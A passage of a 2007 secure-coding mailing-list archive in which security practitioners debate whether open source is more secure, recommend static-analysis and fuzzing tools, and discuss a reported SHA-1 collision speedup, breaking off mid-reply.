> called open source. The real question is what is the duty of 
> others on this forum to make sure that newly created software 
> doesn't suffer from the same problems as the commercial 
> closed source stuff...

While I agree that the FOSS movement is an uprising, it:
	1) it's being pushed by "customers" so much as IT developers
	2) the "uprising" isn't so much as being an outcry against
	   security as it is against not being able to have the
	   desired features implemented in a manner desired.

At least that's how I see it.

With rare exceptions, in general, I do not find that the
open source community is that much more security consciousness
than those producing closed source. Certainly this seems true
if measured in terms of vulnerabilities and we measure "across
the board" (e.g., take a random sampling from SourceForge) and
not just our favorite security-related applications.

Where I _do_ see a remarkable difference is that the open source
community seems to be in general much faster in getting security
patches out once they are informed of a vulnerability. I suspect
that this has to do as much with the lack of bureaucracy in open
source projects as it does the fear of loss of reputation to their
open source colleagues.

However, this is just my gut feeling, so your gut feeling my differ.
(But my 'gut' is probably bigger than yours, so feeling prevails. ;-)
Does anyone have any hard evidence to back up this intuition. I
thought that Ross Anderson had done some research along those lines.

-kevin
---
Kevin W. Wall		Qwest Information Technology, Inc.
Kevin.Wall at qwest.com	Phone: 614.215.4788
"It is practically impossible to teach good programming to students
 that have had a prior exposure to BASIC: as potential programmers
 they are mentally mutilated beyond hope of regeneration"
    - Edsger Dijkstra, How do we tell truths that matter?
      http://www.cs.utexas.edu/~EWD/transcriptions/EWD04xx/EWD498.html 


This communication is the property of Qwest and may contain confidential or
privileged information. Unauthorized use of this communication is strictly 
prohibited and may be unlawful.  If you have received this communication 
in error, please immediately notify the sender by reply e-mail and destroy 
all copies of the communication and any attachments.


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From jms at bughunter.ca  Wed Mar 21 11:02:56 2007
From: jms at bughunter.ca (J. M. Seitz)
Date: Wed, 21 Mar 2007 08:02:56 -0800
Subject: [SC-L] statical analysis tools: language supports...
In-Reply-To: <99da14650703210548l28d62e96j2c768b55177b94dd@mail.gmail.com>
Message-ID: <00aa01c76bd2$646c1ea0$4d07a8c0@jseitz>

RATS will do PHP as well there is a plugin for Eclipse that will do static
analysis on PHP code which is called Pixy. The next step would be to
investigate some of the tools from SPI Dynamics, a few of them are black-box
but if you combine some black-box testing with some static analysis, add
some fuzzing with Paros Proxy or JBrofuzz (both from OWASP) you should see
some success.
 
The other thing to consider are some of the settings in the .ini file,
configuration in PHP speaks volumes about security, kill register_globals,
check the magic_quotes value, etc. Be aware that calls to include() have to
be 100% correctly sanitized or you are asking for local|remote file
includes, etc. ad nauseum. Anyways, hopefully this points you in the right
direction.
 
JS
 

  _____  

From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org]
On Behalf Of Indrek Saar
Sent: Wednesday, March 21, 2007 4:49 AM
To: Secure Coding
Subject: [SC-L] statical analysis tools: language supports...


Hi guys,

I have question about source-code statical analysis tools that are available
at the market now.
Are there tools that support C/C++, Java, PHP, Flash (actionscript) all in
one?
Most of the tools support C/C++ and Java, but I have not found any that can
handle also PHP. 

Do you know some? Or have some information that some tool provider has plan
for supporting PHP. And Flash.


Indrek Saar.

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070321/c67f8337/attachment.html 

From coley at linus.mitre.org  Wed Mar 21 12:53:00 2007
From: coley at linus.mitre.org (Steven M. Christey)
Date: Wed, 21 Mar 2007 13:53:00 -0400 (EDT)
Subject: [SC-L] Economics of Software Vulnerabilities
In-Reply-To: <CF8B26B8B49184429CB084616B00193003C76FF9@itomae2km05.AD.QINTRA.COM>
References: <45FEF226.3090803@aesec.com>
	<773F863A6009244B87E6E866AFC7DB460399978F@AD1HFDEXC309.ad1.prod>
	<CF8B26B8B49184429CB084616B00193003C76FF9@itomae2km05.AD.QINTRA.COM>
Message-ID: <Pine.GSO.4.51.0703211349460.2211@faron.mitre.org>


On Tue, 20 Mar 2007, Wall, Kevin wrote:

> With rare exceptions, in general, I do not find that the
> open source community is that much more security consciousness
> than those producing closed source. Certainly this seems true
> if measured in terms of vulnerabilities and we measure "across
> the board" (e.g., take a random sampling from SourceForge) and
> not just our favorite security-related applications.

Indeed, CVE and any other refined vulnerability information source is
chock full of open source products on SourceForge that have the most
obvious security holes possible, and let's not forget the open source
products that have gotten a bad reputation such as PHP-Nuke and Sendmail.
Insecure programming is universal.

> Where I _do_ see a remarkable difference is that the open source
> community seems to be in general much faster in getting security
> patches out once they are informed of a vulnerability.

Seems to, yes, based on statistics of publicly reported vulns.
Unfortunately I can't remember the studies at the moment :(

- Steve

From BlueBoar at thievco.com  Wed Mar 21 12:53:27 2007
From: BlueBoar at thievco.com (Blue Boar)
Date: Wed, 21 Mar 2007 10:53:27 -0700
Subject: [SC-L] [Full-disclosure] Chinese Professor Cracks Fifth Data
 Security Algorithm (SHA-1)
In-Reply-To: <1992415133.20070321184519@SECURITY.NNOV.RU>
References: <5e01c29a0703210237u19b27651k447a535ae33fcec3@mail.gmail.com>
	<1992415133.20070321184519@SECURITY.NNOV.RU>
Message-ID: <46017117.1010009@thievco.com>

3APA3A wrote:
> First,  by  reading  'crack'  I thought lady can recover full message by
> it's signature. After careful reading she can bruteforce collisions 2000
> times faster.

Cracking a hash would never mean recovering the full original message,
except for possibly messages that were smaller than the number of bits
in the hash value. There are an infinite number of messages that all
hash to the same value.

The best crack you can have for a hash is to be able collide with an
existing hash value and be able to choose most of the message contents.

					BB

From seba at deleersnyder.eu  Wed Mar 21 13:41:02 2007
From: seba at deleersnyder.eu (Sebastien Deleersnyder)
Date: Wed, 21 Mar 2007 19:41:02 +0100
Subject: [SC-L] statical analysis tools: language supports...
In-Reply-To: <00aa01c76bd2$646c1ea0$4d07a8c0@jseitz>
Message-ID: <20070321184100.9279E1240BA@hoboe2bl1.telenet-ops.be>

Hi,

 

Correction: Paros Proxy is owned and copyrighted by Chinotec Technologies
Co. 
OWASP provides another usefull tool: WebScarab
(http://www.owasp.org/index.php/OWASP_WebScarab_Project)

 

I you look for PHP security resources,
http://www.owasp.org/index.php/Category:OWASP_PHP_Project can also be of
help.

 

Regards,

 

Sebastien

Belgium OWASP Chapter Leader

 

  _____  

From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org]
On Behalf Of J. M. Seitz
Sent: woensdag 21 maart 2007 17:03
To: 'Indrek Saar'; 'Secure Coding'
Subject: Re: [SC-L] statical analysis tools: language supports...

 

RATS will do PHP as well there is a plugin for Eclipse that will do static
analysis on PHP code which is called Pixy. The next step would be to
investigate some of the tools from SPI Dynamics, a few of them are black-box
but if you combine some black-box testing with some static analysis, add
some fuzzing with Paros Proxy or JBrofuzz (both from OWASP) you should see
some success.

 

The other thing to consider are some of the settings in the .ini file,
configuration in PHP speaks volumes about security, kill register_globals,
check the magic_quotes value, etc. Be aware that calls to include() have to
be 100% correctly sanitized or you are asking for local|remote file
includes, etc. ad nauseum. Anyways, hopefully this points you in the right
direction.

 

JS

 

 

  _____  

From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org]
On Behalf Of Indrek Saar
Sent: Wednesday, March 21, 2007 4:49 AM
To: Secure Coding
Subject: [SC-L] statical analysis tools: language supports...

Hi guys,

I have question about source-code statical analysis tools that are available
at the market now.
Are there tools that support C/C++, Java, PHP, Flash (actionscript) all in
one?
Most of the tools support C/C++ and Java, but I have not found any that can
handle also PHP. 

Do you know some? Or have some information that some tool provider has plan
for supporting PHP. And Flash.


Indrek Saar.

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070321/20ce70f0/attachment.html 

From mouse at Rodents.Montreal.QC.CA  Wed Mar 21 13:41:13 2007
From: mouse at Rodents.Montreal.QC.CA (der Mouse)
Date: Wed, 21 Mar 2007 14:41:13 -0400 (EDT)
Subject: [SC-L] [Full-disclosure] Chinese Professor Cracks Fifth Data
 Security Algorithm (SHA-1)
In-Reply-To: <46017117.1010009@thievco.com>
References: <5e01c29a0703210237u19b27651k447a535ae33fcec3@mail.gmail.com>
	<1992415133.20070321184519@SECURITY.NNOV.RU>
	<46017117.1010009@thievco.com>
Message-ID: <200703211848.OAA12923@Sparkle.Rodents.Montreal.QC.CA>

> Cracking a hash would [...].  There are an infinite number of
> messages that all hash to the same value.

Yes, but there's no guarantee that this is true of any particular hash
value, such as the one you're intersted in, only that there exists at
least one hash value that it's true of.

(At least, for hash functions in general.  A *good* hash function will
of course have this property for all hash values.  I don't know whether
SHA-1 is good in this respect, though I would expect it is.)

Okay, nitpicky-mathematician mode off.... :-)

/~\ The ASCII				der Mouse
\ / Ribbon Campaign
 X  Against HTML	       mouse at rodents.montreal.qc.ca
/ \ Email!	     7D C8 61 52 5D E7 2D 39  4E F1 31 3E E8 B3 27 4B

From BlueBoar at thievco.com  Wed Mar 21 13:48:55 2007
From: BlueBoar at thievco.com (Blue Boar)
Date: Wed, 21 Mar 2007 11:48:55 -0700
Subject: [SC-L] [Full-disclosure] Chinese Professor Cracks Fifth Data
 Security Algorithm (SHA-1)
In-Reply-To: <114882445.20070321212914@SECURITY.NNOV.RU>
References: <5e01c29a0703210237u19b27651k447a535ae33fcec3@mail.gmail.com>	<1992415133.20070321184519@SECURITY.NNOV.RU>	<46017117.1010009@thievco.com>
	<114882445.20070321212914@SECURITY.NNOV.RU>
Message-ID: <46017E17.50102@thievco.com>

3APA3A wrote:
> I  know  meaning  of  'hash  function'  term,  I  wrote  few articles on
> challenge-response   authentication   and   I  did  few  hash  functions
> implementations  for  hashtables  and  authentication  in FreeRADIUS and
> 3proxy.  Can  I  claim  my  right  for  sarcasm after calling ability to
> bruteforce 160-bit hash 2000 times faster 'a crack'?

Fair enough, your sarcasm tags didn't render properly in my MUA. I was
fooled by you stating that the birthday attack would be 150 bits.

						BB

From arian.evans at anachronic.com  Wed Mar 21 14:57:17 2007
From: arian.evans at anachronic.com (Arian J. Evans)
Date: Wed, 21 Mar 2007 12:57:17 -0700
Subject: [SC-L] Economics of Software Vulnerabilities
In-Reply-To: <45FFF591.1010404@aesec.com>
References: <83B3489DF1064F4E90218770D953D36107B8EA@va-mail.cigital.com>
	<45FEEBC9.6060703@novell.com> <45FEF226.3090803@aesec.com>
	<45FF111C.9010707@novell.com>
	<Pine.GSO.4.51.0703200044190.19492@faron.mitre.org>
	<45FFF591.1010404@aesec.com>
Message-ID: <cd1bdfdd0703211257u4201b986o8e86e2498ee0b5db@mail.gmail.com>

Spot on thread, Ed:

On 3/20/07, Ed Reed <ed.reed at aesec.com> wrote:
>
> Not all of these are consumer uprisings - some are, some aren't - but I
> think they're all examples of the kinds of economic adjustments that occur
> in "mature" markets.
>
>    - "Unsafe at any speed" (the triumph of consumer safety over
>    industrial laziness)
>
>
>    - Underwriter Laboratories (the triumph of the fire insurance
>    industry over shoddy electrical manufacturers)
>
>
>    - VHS (vs BetaMax - the triumph of content over technology)
>
>
This is ironic to me, I wrote a paper for management types, upper tactical
to strategic level view of the "software security" problem. In current
incarnation it is called "Unsafe at Any Speed". Besides a layman's breakdown
of the fundamental issues, (a) implementation issues almost entirely falling
under the inability to enforce data/function boundaries in modern
implementation level languages or platforms, and (b) functional issues which
are design/workflow, or emergent behavior related.

The important point I stress is that there really hasn't been a
Whistle-Blower Phase in the software industry concerning security. Today,
vague arguments about plane crashes aside, there is little to no hard
evidence tying software defects with security implications to loss of human
life. And that's the kicker: dollars to DNA, it's death that sells.

I also argue that we are killing the Canaries in the Coal Mine. The script
kiddies, the guys writing the little payload-less worms, the kid who wrote
the Sammy virus, they are scared to touch systems now. These were the
Canaries down there in our software coal mines. SQL Slammer, Witty worm,
though no payload, caused negative impact, but there were no charges for
these.

The charges are always some token young guy for some relatively benign worm.
MySpace slows down and we prosecute a young kid with above-average problem
solving skills. I used to call these worms that slowed things down "free pen
tests", later "canaries". They had a real (positive) value to us, and we've
killed that value without replacing it with something better.

I experienced a rising of vendor animosity and threats in the two years, a
reversing of trend back to the "good old days", coupled with work
constraints restricting full disclosure options. What made this worse (to
me, ethically) is that many of these vendors were advertising "security" to
their clients, from an image of a Safe on the website with a list of
"security features", to announcements proclaiming the security of the system
displayed to users after they log in. None of these systems were measurably
security in any fashion I could detect, not even to usual suspects (SQLi,
XSS, Insufficient Authorization/Workflow bypass, etc. etc.). I got the
feeling things were getting worse. That or I hit some weird biased sample of
ISVs.

I think you are on to something here in how to think about this subject.
Perhaps I should float my little paper out there and we could shape up
something worth while describing how the industry is evolving today.

I have been peacefully quiet since I quit my old job, ignoring the security
lists and industry and haven't poked the bear err trolled any of the usual
suspects lately. Looks like I've been missing out on some good dialogue,
thank you, this was very helpful,

Arian J. Evans
Solipsistic Software Security Sophist at Large
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070321/34c5737a/attachment-0001.html 

From coley at linus.mitre.org  Wed Mar 21 15:39:47 2007
From: coley at linus.mitre.org (Steven M. Christey)
Date: Wed, 21 Mar 2007 16:39:47 -0400 (EDT)
Subject: [SC-L] Economics of Software Vulnerabilities
In-Reply-To: <cd1bdfdd0703211257u4201b986o8e86e2498ee0b5db@mail.gmail.com>
References: <83B3489DF1064F4E90218770D953D36107B8EA@va-mail.cigital.com>
	<45FEEBC9.6060703@novell.com> <45FEF226.3090803@aesec.com>
	<45FF111C.9010707@novell.com>
	<Pine.GSO.4.51.0703200044190.19492@faron.mitre.org>
	<45FFF591.1010404@aesec.com>
	<cd1bdfdd0703211257u4201b986o8e86e2498ee0b5db@mail.gmail.com>
Message-ID: <Pine.GSO.4.51.0703211638120.2211@faron.mitre.org>


I was originally going to say this off-list, but it's not that big a deal.

Arian J. Evans said:

> I think you are on to something here in how to think about this subject.
> Perhaps I should float my little paper out there and we could shape up
> something worth while describing how the industry is evolving today.

I've been wanting to do something along these lines but don't have much
time.  I'll gladly review it or provide suggestions.  I have a draft on
current disclosure practices that includes the diversity of researchers
and the role of vulnerability information providers.

- Steve

From BlueBoar at thievco.com  Wed Mar 21 16:24:03 2007
From: BlueBoar at thievco.com (Blue Boar)
Date: Wed, 21 Mar 2007 14:24:03 -0700
Subject: [SC-L] [Full-disclosure] Chinese Professor Cracks Fifth Data
 Security Algorithm (SHA-1)
In-Reply-To: <533163885.20070321235937@SECURITY.NNOV.RU>
References: <5e01c29a0703210237u19b27651k447a535ae33fcec3@mail.gmail.com>	<1992415133.20070321184519@SECURITY.NNOV.RU>	<46017117.1010009@thievco.com>	<114882445.20070321212914@SECURITY.NNOV.RU>	<46017E17.50102@thievco.com>
	<533163885.20070321235937@SECURITY.NNOV.RU>
Message-ID: <4601A273.4050807@thievco.com>

My understanding that the kind of birthday attack under discussion would
start at 80-bits if SHA-1 (at 160-bits) were 100% secure. The attack
under discussion is reported to reduce that to the neighborhood of
60-something bits.

I am not a mathematician though, so I would be perfectly willing to
believe I was wrong about that.

					BB

3APA3A wrote:
> Dear Blue Boar,
> 
> It's  not  clear  if  this 'crack' cam be applied to birthday attack. My
> in-mind computations were: because birthday attack requires ~square root
> of N computations where bruteforce requires ~N/2, impact of 2000 times N
> decrease  for birthday is ~64 times faster. 64 = 2^6. Because complexity
> is ~square root of possible combinations, it's equivalent of traditional
> birthday  attack,  with  160-(2*6)=148  bits  hash (150 is my mistake in
> in-mind computations).
> 
> Of  cause,  since  I  completely  wasted 10 years after obtaining Master
> degree  in  Mathematics  and  3 years after loosing last pencil I may be
> completely wrong in computations :)
> 
> --Wednesday, March 21, 2007, 9:48:55 PM, you wrote to 3APA3A at SECURITY.NNOV.RU:
> 
> BB> 3APA3A wrote:
>>> I  know  meaning  of  'hash  function'  term,  I  wrote  few articles on
>>> challenge-response   authentication   and   I  did  few  hash  functions
>>> implementations  for  hashtables  and  authentication  in FreeRADIUS and
>>> 3proxy.  Can  I  claim  my  right  for  sarcasm after calling ability to
>>> bruteforce 160-bit hash 2000 times faster 'a crack'?
> 
> BB> Fair enough, your sarcasm tags didn't render properly in my MUA. I was
> BB> fooled by you stating that the birthday attack would be 150 bits.
> 
> BB> 						BB
> 
> 

From mudge at uidzero.org  Wed Mar 21 16:39:16 2007
From: mudge at uidzero.org (mudge)
Date: Wed, 21 Mar 2007 17:39:16 -0400
Subject: [SC-L] Economics of Software Vulnerabilities
In-Reply-To: <cd1bdfdd0703211257u4201b986o8e86e2498ee0b5db@mail.gmail.com>
References: <83B3489DF1064F4E90218770D953D36107B8EA@va-mail.cigital.com>
	<45FEEBC9.6060703@novell.com> <45FEF226.3090803@aesec.com>
	<45FF111C.9010707@novell.com>
	<Pine.GSO.4.51.0703200044190.19492@faron.mitre.org>
	<45FFF591.1010404@aesec.com>
	<cd1bdfdd0703211257u4201b986o8e86e2498ee0b5db@mail.gmail.com>
Message-ID: <D03BE56F-6E11-4690-B252-96B64E8CAC79@uidzero.org>



On Mar 21, 2007, at 3:57 PM, Arian J. Evans wrote:

> Spot on thread, Ed:
>
> On 3/20/07, Ed Reed <ed.reed at aesec.com> wrote:
> Not all of these are consumer uprisings - some are, some aren't -  
> but I think they're all examples of the kinds of economic  
> adjustments that occur in "mature" markets.
> "Unsafe at any speed" (the triumph of consumer safety over  
> industrial laziness)
> Underwriter Laboratories (the triumph of the fire insurance  
> industry over shoddy electrical manufacturers)
> VHS (vs BetaMax - the triumph of content over technology)

Sorry, but I couldn't help but be reminded of an old L0pht topic that  
we brought up in January of 1999. Having just re-read it I found it  
still relatively poignant: Cyberspace Underwriters Laboratories[1].

It seems to me that a lot of what was of concern then is still of  
concern now and without great headway being made over these last 8  
years.

Some note-able items (warning, these are subjective and broad- 
stroked)  have been the commercial world eschewing TCSEC / Common  
Criteria[2], FIPS 140 being useful for some relatively niche areas  
and focusing on only portions of a device/component/code, and Trusted  
Computing really veering away from trusted computing platforms and  
codebases for classical security compartmentalization and instead  
focusing on DRM[3].

Just thinking out loud.

cheers,

.mudge

[1] http://packetstormsecurity.org/docs/infosec/cyberul.html
[2] often times due to requiring frameworks and configuration  
capabilities that end up not being used or too complicated for many  
people to customize.
[3] back to the thread topic somewhat... being economics based.


From coley at linus.mitre.org  Wed Mar 21 16:47:19 2007
From: coley at linus.mitre.org (Steven M. Christey)
Date: Wed, 21 Mar 2007 17:47:19 -0400 (EDT)
Subject: [SC-L] Economics of Software Vulnerabilities
In-Reply-To: <D03BE56F-6E11-4690-B252-96B64E8CAC79@uidzero.org>
References: <83B3489DF1064F4E90218770D953D36107B8EA@va-mail.cigital.com>
	<45FEEBC9.6060703@novell.com> <45FEF226.3090803@aesec.com>
	<45FF111C.9010707@novell.com>
	<Pine.GSO.4.51.0703200044190.19492@faron.mitre.org>
	<45FFF591.1010404@aesec.com>
	<cd1bdfdd0703211257u4201b986o8e86e2498ee0b5db@mail.gmail.com>
	<D03BE56F-6E11-4690-B252-96B64E8CAC79@uidzero.org>
Message-ID: <Pine.GSO.4.51.0703211742420.2211@faron.mitre.org>


On Wed, 21 Mar 2007, mudge wrote:

> Sorry, but I couldn't help but be reminded of an old L0pht topic that
> we brought up in January of 1999. Having just re-read it I found it
> still relatively poignant: Cyberspace Underwriters Laboratories[1].

I was thinking about this, too, I should have remembered it in earlier
comments.  The fact that such a thing has NOT come to fruition seems to be
symptomatic of the industry, although there have been some partnerships
between commercial and non-commercial entities (e.g. Fortify and the Java
Open Review).

- Steve

From jms at bughunter.ca  Thu Mar 22 11:28:43 2007
From: jms at bughunter.ca (J. M. Seitz)
Date: Thu, 22 Mar 2007 08:28:43 -0800
Subject: [SC-L] [fuzzing] MoKB take?
Message-ID: <017501c76c9f$28b949a0$4d07a8c0@jseitz>

We are having a good thread going on fuzzing, commercial tools, etc. on the
fuzzing list. This is a large forward but I thought some of you might want
to weigh in, or at least take a look at the thread.

JS

Hello all,

Although we at Codenomicon do not "fuzz" in the true meaning of the word
(that depends on the definition), I would like to comment on these issues
Charlie brought up.

> Date: Tue, 07 Nov 2006 08:28:26 -0600
> From: Charlie Miller <cmiller at securityevaluators.com>
> 
> My take on this is that any type of data that is read in and parsed by 
> an application can be fuzzed.

Yes, and I suppose most of these have been tried. Fuzzing (or any type of
black box testing) is possible for any interfaces whether they are APIs,
network protocols, wireless stacks, GUI, files, return values, ... Even we
at Codenomicon already cover more than 100 different interfaces with
robustness tests...

> I also think that fuzzing can only find certain types of 
> vulnerabilities, i.e. relatively simple memory corruption bugs.

This is not true. You can easily make a study on this. Take any protocol and
all vulnerabilities found in the implementations of that protocol, and map
that to the test coverage of black-box tools such as fuzzers. That would be
an interesting comparison!

> Luckily, there are plenty of these [bugs] around. 

True, and that is why intelligence is not often required from fuzzing tools.
Heck you can crash most network devices by just sending /dev/random to them.
;)

> Good luck finding a command injection vulnerability or a bug that 
> requires three different simultaneous anomalies.

Well, this is a really good comment, and the reason why I could not resist
commenting on this thread! Why would you want to involve luck in the
equation? We at Codenomicon/PROTOS have noted that careful test design will
change luck and skill into engineering practise. With file fuzzers for
example it is easy to generate millions of "tests" but with systematic
testing you will still find most of these flaws and more. Being able to
optimize millions of tests into tens of thousands without compromising test
coverage is the goal. And it is also a requirement for many testers.

The combinations of anomalies is a bigger issue. I know (and even during
PROTOS we found these) that there are flaws that require combination of two
or three anomalies, and those where two different messages need to be sent
in a specific order. But when the tests are optimized in number, this is
made easier also. We cannot test all three-field combinations, but in the
real life we do not have to either. I would look forward to hearing if
anyone has an example vulnerability in mind that is not covered by
Codenomicon tools. Please nothing from proprietary protocols as I would not
be able to disclose the fact if we cover it or not. ;)

> I think smart researchers, like these guys, move on to fuzzing new 
> types of data, be it new protocols, file types, etc.

This is why I think general purpose fuzzing frameworks like PROTOS
mini-simulation engine (first launched in 1999 but not publicly
available) and GPF (by DeMott) are so powerful. Basically we will never run
out of protocols, interface specifications, use cases, and traffic
captures...

> It doesn't make a lot of sense to fuzz the HTTP protocol against IIS 
> at this point, as very many people have done this with a number of 
> tools.

Oh definitely it does make sense. All products are full of flaws. You just
need to build more intelligence to the tests. Even though companies like
Codenomicon do not ever disclose any flaws, it does not mean that these
flaws do not exist.

> Based on the success of this project, I'm guessing they are the first 
> ones to seriously try fuzzing filesystems.

As far as I know, all commercial fuzzers support testing of file systems...
Software companies are just not interested in PAYING for security when they
can get it for free... ;) So blame the software developers, not the tool
vendors...

> After those bugs are shaken out, we'll move on to the next type of 
> data.

Oh you do not need to move forward. How about just taking a fuzzer from 1999
such as the WAP test tools from PROTOS or from @Stake, and you will discover
that everything is still broken. That is the problem with the industry. Test
it once, and after few years everything is back to where it was. But just
using tools from other people is not interesting, is it. People want to find
new stuff to make them famous?
;)

> This is reminiscent of when everyone fuzzed network protocols and then 
> someone started fuzzing file types.

Again, Codenomicon had file format fuzzers before anyone was aware of that
risk. And we had lots of problems developing those tools as the development
environments kept crashing all the time (I am not naming any OS products
here). But again the industry was not ready for our tools... They needed to
learn it the bad way. Thanks to all who contributed! ;)

> If I knew what the next new thing to fuzz was, I'd be doing it right 
> now :)

I can tell some hints, but that would not fix the real problem. I would be
extremely interested in hearing why all you readers do fuzzing? Have you
thought about it? What are we trying to improve?

I think the real problem is how we could fix the software processes so that
fuzzing would be part of it. How could we make the tools such that the
industry would also adapt them into their development practices? Where
should "fuzzing" be used in the software engineering process? Who is
responsible for "fuzzing"?  

I think these are more important questions rather than looking at the next
avenue of fame for hackers... It is too bad everyone is hunting for bugs
rather than focusing on the usage scenarios of the tools.

> Date: Tue, 7 Nov 2006 08:34:43 -0600 (CST)
> From: Gadi Evron <ge at linuxbox.org>

Hello Gadi,

> 2. In my opinion, fuzzing IIS or Apache may be very difficult, but 
> still interesting. HTTP fuzzing still has a lot of uses with other 
> tools, tools in development, etc.

You are correct. Actually I have seen several Apache installations fail
under tests with Codenomicon HTTP test tool. It is not enough to test it in
R&D. When you integrate Apache into a device, or into a web portal, the sum
of the components is more complex than what was expected. Every compiler
option and every modification could introduce (or reveal) new bugs. New
flaws are still found in Apache, and many of these could be found with
fuzzing. I know most of the recent flaws are in the extensions. And some of
these can be fixed in the web applications themselves (and are fixed there
leaving other deployments vulnerable), or in the configuration options, but
still many of these can be considered flaws in Apache. Testing is never
"done".

Again we at Codenomicon are looking for ways of helping the open source
community have access to our test tools. Please let me know if you have any
"fuzzing-aware" research projects in this area, and I will see if there is
anything I can do to help.

I do not wish to discuss commercial products so I will leave IIS alone.

Also if anyone made it this far in my ramblings, I would look forward if
someone would be interested and ready to do some neutral third party
comparison testing between different fuzzing tools. I know many of you have
already tried our tools... Contact me if you are interested.

Good work everyone! And best regards from everyone at Codenomicon!

/Ari

--
-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-
Ari Takanen                       Codenomicon Ltd.
ari.takanen at codenomicon.com       Tutkijantie 4E
tel: +358-40 50 67678             FIN-90570 Oulu
http://www.codenomicon.com        Finland
PGP: http://www.codenomicon.com/codenomicon-key.asc
-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-
_______________________________________________
fuzzing mailing list
fuzzing at whitestar.linuxbox.org
http://www.whitestar.linuxbox.org/mailman/listinfo/fuzzing


From koved at us.ibm.com  Thu Mar 22 22:12:00 2007
From: koved at us.ibm.com (Larry Koved)
Date: Thu, 22 Mar 2007 23:12:00 -0400
Subject: [SC-L] Reminder: IEEE Workshop: W2SP 2007: Web 2.0 Security and
	Privacy 2007
Message-ID: <OF0D92EB24.4AB88457-ON852572A7.0011959D-852572A7.00119E87@us.ibm.com>

http://www.ieee-security.org/TC/SP2007/cfp-W2SP.html

Workshop Call for Position Papers

W2SP 2007: Web 2.0 Security and Privacy 2007

Sponsored by the IEEE Technical Committee on Security and Privacy
Held in conjunction with the 2007 IEEE Symposium on Security and Privacy
Thursday, May 24, The Claremont Resort, Oakland, California


Important dates:
    Position statement submission deadline: March 23, 2007
    Workshop acceptance notification date: March 30, 2007
    Workshop date: Thursday May 24, 2007

Workshop position statement submission web site: 
http://continue.cs.brown.edu/servlets/w2sp07/continue.ss

Workshop registration will only be available via the 2007 IEEE Symposium 
on Security and Privacy conference web site.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070322/fdbb07b1/attachment.html 

From jericho at attrition.org  Fri Mar 23 02:04:26 2007
From: jericho at attrition.org (security curmudgeon)
Date: Fri, 23 Mar 2007 07:04:26 +0000 (UTC)
Subject: [SC-L] Economics of Software Vulnerabilities
In-Reply-To: <Pine.GSO.4.51.0703211349460.2211@faron.mitre.org>
References: <45FEF226.3090803@aesec.com>
	<773F863A6009244B87E6E866AFC7DB460399978F@AD1HFDEXC309.ad1.prod>
	<CF8B26B8B49184429CB084616B00193003C76FF9@itomae2km05.AD.QINTRA.COM>
	<Pine.GSO.4.51.0703211349460.2211@faron.mitre.org>
Message-ID: <Pine.LNX.4.64.0703230659520.32524@forced.attrition.org>


On Wed, 21 Mar 2007, Steven M. Christey wrote:

: > With rare exceptions, in general, I do not find that the
: > open source community is that much more security consciousness
: > than those producing closed source. Certainly this seems true
: > if measured in terms of vulnerabilities and we measure "across
: > the board" (e.g., take a random sampling from SourceForge) and
: > not just our favorite security-related applications.
: 
: Indeed, CVE and any other refined vulnerability information source is 
: chock full of open source products on SourceForge that have the most 
: obvious security holes possible, and let's not forget the open source 
: products that have gotten a bad reputation such as PHP-Nuke and 
: Sendmail. Insecure programming is universal.

Belated, but i'd like to mimick Mr. Christey's comments here. For almost 
two decades, we've all heard or believed in the idea that open source is 
better than closed, because "anyone can look at it". In theory, this is 
outstanding. In reality, this is a joke told at security conventions.

Just because people can look at a project in detail, doesn't mean they 
will. More to the point, just because people can, doesn't mean code 
auditing gurus will look at it.

If you consider projects like the Linux kernel, there are definitely a 
*lot* of coding ninjas involved. Despite that, we see a never ending 
stream of vulnerabilities (most local DoS attacks) being published. Does 
this mean the Linux Kernel developers are 
irresponsible/incompetant/lazy/whatever? Absolutely not. It only means 
that the notion that open source will be viewed by thousands of eyes was a 
nice pipe dream and talking point years back, not reality.

From dwheeler at ida.org  Fri Mar 23 13:24:21 2007
From: dwheeler at ida.org (David A. Wheeler)
Date: Fri, 23 Mar 2007 14:24:21 -0400
Subject: [SC-L] Economics of Software Vulnerabilities
In-Reply-To: <mailman.1.1174669201.25274.sc-l@securecoding.org>
References: <mailman.1.1174669201.25274.sc-l@securecoding.org>
Message-ID: <46041B55.3050308@ida.org>

> On Wed, 21 Mar 2007, Steven M. Christey wrote:
> : > With rare exceptions, in general, I do not find that the
> : > open source community is that much more security consciousness
> : > than those producing closed source. Certainly this seems true
> : > if measured in terms of vulnerabilities and we measure "across
> : > the board" (e.g., take a random sampling from SourceForge) and
> : > not just our favorite security-related applications.

A random sampling from SourceForge will typically find the worst ones. 
Most OSS projects, like most proprietary projects, die due to lack of 
attention from _anyone_.

> : Indeed, CVE and any other refined vulnerability information source is 
> : chock full of open source products on SourceForge that have the most 
> : obvious security holes possible, and let's not forget the open source 
> : products that have gotten a bad reputation such as PHP-Nuke and 
> : Sendmail.

A well-deserved bad reputation, I might add, though I've been told that 
the latest versions of Sendmail are better.

> : Insecure programming is universal.
Absolutely.


security curmudgeon <jericho at attrition.org> piped in:
> Belated, but i'd like to mimick Mr. Christey's comments here. For almost 
> two decades, we've all heard or believed in the idea that open source is 
> better than closed, because "anyone can look at it". In theory, this is 
> outstanding. In reality, this is a joke told at security conventions.
> 
> Just because people can look at a project in detail, doesn't mean they 
> will. More to the point, just because people can, doesn't mean code 
> auditing gurus will look at it.
> 
> ... the notion that open source will be viewed by thousands of eyes was a 
> nice pipe dream and talking point years back, not reality.

Nonsense.  Widespread review of _some_ OSS programs, by many eyes, _IS_ 
